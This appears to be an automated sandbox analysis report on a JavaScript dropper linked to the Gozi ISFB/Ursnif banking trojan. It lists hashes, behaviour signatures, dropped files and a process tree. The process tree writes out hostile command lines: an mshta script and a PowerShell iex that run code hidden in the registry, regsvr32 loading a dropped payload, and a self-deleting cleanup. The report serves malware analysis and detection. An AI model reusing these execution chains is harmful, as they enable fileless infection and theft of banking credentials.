Analysis

  • max time kernel
    122s
  • max time network
    78s
  • platform
    windows7_x64
  • resource
    win7v200410
  • submitted
    17-04-2020 15:20

General

  • Target

    open_presentation_g8l.js

  • Size

    1.4MB

  • MD5

    58da4d0d9bdde0fcecd9d244ced71cc5

  • SHA1

    15122a24648096af45215fa4bfa55f36a432088b

  • SHA256

    e8d7ff11016b3a8f8b3c3e07b3895ff9e9d286aaf45bcc41907b701d7af1bd85

  • SHA512

    346233e19159d7228d1905b645d4b7d6682230f3cccdce04284f1433d2d935c57c6d332364b65334edc374de0aab2c7451dde1448e7c59fc026a0e0b0567230f

Malware Config

Signatures

  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Modifies Internet Explorer settings 1 TTPs 42 IoCs
  • Makes http(s) request 13 IoCs

    Contacts server via http/https, possibly for C2 communication.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    • Checks whether UAC is enabled
    • Suspicious use of SetThreadContext
    PID:1324
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\Users\Admin\AppData\Local\Temp\open_presentation_g8l.js
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2040
      • C:\Windows\System32\regsvr32.exe
        "C:\Windows\System32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\\lymCsi.txt
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1316
        • C:\Windows\SysWOW64\regsvr32.exe
          C:\Users\Admin\AppData\Local\Temp\\lymCsi.txt
          4⤵
          • Loads dropped DLL
          PID:1332
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\AppDataLow\\Software\\Microsoft\\4F9B8A74-6250-5914-E4F3-B69D58D74A21\\DmdlDump'));if(!window.flag)close()</script>"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Modifies Internet Explorer settings
      PID:1028
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\4F9B8A74-6250-5914-E4F3-B69D58D74A21").Certxva2))
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Drops file in System32 directory
        • Suspicious use of WriteProcessMemory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetThreadContext
        PID:2044
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nju1y22x\nju1y22x.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:772
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA69A.tmp" "c:\Users\Admin\AppData\Local\Temp\nju1y22x\CSC135A6FE8DD6543B3827E1DD57FDF9BE.TMP"
            5⤵
              PID:1228
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qzs455qe\qzs455qe.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1360
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA746.tmp" "c:\Users\Admin\AppData\Local\Temp\qzs455qe\CSC76D00C613B3B46ABB5D8379B1348AD3B.TMP"
              5⤵
                PID:1532
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\lymCsi.txt"
          2⤵
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          • Suspicious use of SetThreadContext
          PID:1816
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:1748
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\EE70.bi1"
          2⤵
            PID:2004
            • C:\Windows\system32\nslookup.exe
              nslookup myip.opendns.com resolver1.opendns.com
              3⤵
                PID:1116
            • C:\Windows\system32\cmd.exe
              cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\EC18.bi1"
              2⤵
                PID:2028
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:1100
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\EE70.bi1"
                  2⤵
                    PID:1196
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\EC18.bi1"
                    2⤵
                      PID:1052
                  • C:\Program Files\Internet Explorer\iexplore.exe
                    "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                    1⤵
                    • Suspicious use of SetWindowsHookEx
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of WriteProcessMemory
                    • Checks whether UAC is enabled
                    • Modifies Internet Explorer settings
                    PID:1012
                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1012 CREDAT:275457 /prefetch:2
                      2⤵
                      • Suspicious use of SetWindowsHookEx
                      • Checks whether UAC is enabled
                      • Modifies Internet Explorer settings
                      PID:1720
                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1012 CREDAT:209928 /prefetch:2
                      2⤵
                      • Suspicious use of SetWindowsHookEx
                      • Checks whether UAC is enabled
                      • Modifies Internet Explorer settings
                      PID:1060

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\EC18.bi1

                  • C:\Users\Admin\AppData\Local\Temp\EC18.bi1

                  • C:\Users\Admin\AppData\Local\Temp\EE70.bi1

                  • C:\Users\Admin\AppData\Local\Temp\EE70.bi1

                  • C:\Users\Admin\AppData\Local\Temp\RESA69A.tmp

                  • C:\Users\Admin\AppData\Local\Temp\RESA746.tmp

                  • C:\Users\Admin\AppData\Local\Temp\lymCsi.txt

                  • C:\Users\Admin\AppData\Local\Temp\nju1y22x\nju1y22x.dll

                  • C:\Users\Admin\AppData\Local\Temp\qzs455qe\qzs455qe.dll

                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\M1OKUH1A.txt

                  • \??\c:\Users\Admin\AppData\Local\Temp\nju1y22x\CSC135A6FE8DD6543B3827E1DD57FDF9BE.TMP

                  • \??\c:\Users\Admin\AppData\Local\Temp\nju1y22x\nju1y22x.0.cs

                  • \??\c:\Users\Admin\AppData\Local\Temp\nju1y22x\nju1y22x.cmdline

                  • \??\c:\Users\Admin\AppData\Local\Temp\qzs455qe\CSC76D00C613B3B46ABB5D8379B1348AD3B.TMP

                  • \??\c:\Users\Admin\AppData\Local\Temp\qzs455qe\qzs455qe.0.cs

                  • \??\c:\Users\Admin\AppData\Local\Temp\qzs455qe\qzs455qe.cmdline

                  • \Users\Admin\AppData\Local\Temp\lymCsi.txt

                  • memory/1012-15-0x00000000026C0000-0x00000000026C1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1324-18-0x0000000003DC0000-0x0000000003E71000-memory.dmp

                    Filesize

                    708KB

                  • memory/1324-16-0x0000000003DC0000-0x0000000003E71000-memory.dmp

                    Filesize

                    708KB

                  • memory/1324-13-0x0000000002980000-0x0000000002981000-memory.dmp

                    Filesize

                    4KB

                  • memory/1748-19-0x0000000000100000-0x0000000000101000-memory.dmp

                    Filesize

                    4KB

                  • memory/1816-17-0x0000000000310000-0x0000000000311000-memory.dmp

                    Filesize

                    4KB

                  • memory/1816-20-0x0000000002080000-0x0000000002131000-memory.dmp

                    Filesize

                    708KB

                  • memory/2040-0-0x0000000002940000-0x0000000002944000-memory.dmp

                    Filesize

                    16KB

                  • memory/2044-14-0x000000001C890000-0x000000001C941000-memory.dmp

                    Filesize

                    708KB